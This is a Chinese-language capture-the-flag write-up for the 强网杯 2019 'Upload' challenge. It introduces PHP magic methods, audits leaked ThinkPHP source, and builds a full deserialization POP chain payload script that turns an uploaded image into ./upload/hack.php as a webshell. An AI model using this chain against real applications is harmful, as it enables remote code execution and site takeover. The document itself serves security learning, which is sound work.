[强网杯 2019] Upload

# 0x00 PHP 的魔法函数

PHP 的所有魔法函数,调用例子。

比较需要记住的是:

__toString()在对象被作为字符串使用时触发
__destruct对象被摧毁时 调用
__wakeup对象被唤醒时调用
__construct被实例化的时候调用
<?php
/**
 * Created by PhpStorm.
 * User: 27394
 * Date: 2016/12/24
 * Time: 10:26
 */
class A{
    public function __construct(){
        echo "construct实例化的时候就执行了".'<br>';
    }
    public function __destruct(){
        echo "destruct销毁我的时候执行".'<br>';
    }
    public function __wakeup(){
        echo "wakeup唤醒我的时候执行".'<br>';
    }

    public function __clone(){
        echo "clone克隆的时候执行".'<br>';
    }
    public function __set($k,$v){
        $this->$k = $v;
    }
    
    public function __get($k){
        echo "get当调用的参数不可访问或不存在时执行".'<br>';

        return $this->$k;
    }
    public function __call($functionName,$args){
        echo "call你所调用的函数{$functionName} 不存在。传入的参数为:".'<br>';
        echo implode(',',$args);
    }
    public static function __callStatic($functionName,$args){
        echo "callStatic你所调用的静态函数{$functionName} 不存在。传入的参数为:".'<br>';
        echo implode(',',$args);
    }
    public function __toString(){
        return "toString你想让这类说点什么呢?".'<br>';
    }
}
$a = new A();
$b = clone $a;
echo $b->c;
$b->e('f');
$b::g('h');
echo $b;

unserialize(serialize($a));

# 0x01 扫描目录

在扫描目录后在 www.zip 发现源文件,下载后进行代码审计。

# 0x02 代码审计

Index

    public function login_check(){
        $profile=cookie('user');
        if(!empty($profile)){
            $this->profile=unserialize(base64_decode($profile));
            $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
            if(array_diff($this->profile_db,$this->profile)==null){
                return 1;
            }else{
                return 0;
            }
        }
    }

Register

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

Profile

     public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
             $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }
 
    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

思路分析:

从里往外,一层层的进行 pop 链构造。首先在 profile 的类中,看到了 upload_img 函数。类下还有 call 和 get 魔术方法。使类 profile 调用一个不可用的函数 即可触发 call 魔术方法,传入的参数也是不可用,再次触发 get 魔术方法。当我们使 except = array (' 不可用函数的名字 '=>'upload_img'),设置好值时,get 就会返回 upload_img,就能调用 upload_img 方法。

在 Register 类中,发现

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

这里 checker 是可控的,那么使 checker 等于 profile 类,就能使 profile 调用 index () 函数,而 index()函数不存在,那么就会调用 call 方法,传进去的是 index,这个参数不存在,就会调用 get 方法,那么 get 的参数就是 index,使 except=array ("index"=>"upload_img"),即可完成 upload_img 的构造。

__get 当调用的参数不可访问或不存在时执行
__call你所调用的函数{$functionName} 不存在时执行

整体思路就是这样

最终 payload

<?php
namespace app\web\controller; //这里一定不能落下

class Profile 
{
    public $except;
    public $ext;
    public $filename;
    public $filename_tmp;
    public $checker;
}

class Register{
    public $registed;
    public $checker;

}

$a= new Profile();
$a -> except = array('index'=>'upload_img');
$a -> ext = 1;
$a -> filename_tmp = './upload/77ee86242a29014bafb115d5760eb32d/00bf23e130fa1e525e332ff03dae345d.png';
$a -> filename = './upload/hack.php';


$b = new Register();
$b -> registed = 0;
$b -> checker = $a;

echo urlencode(base64_encode(serialize($b)));
?>
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝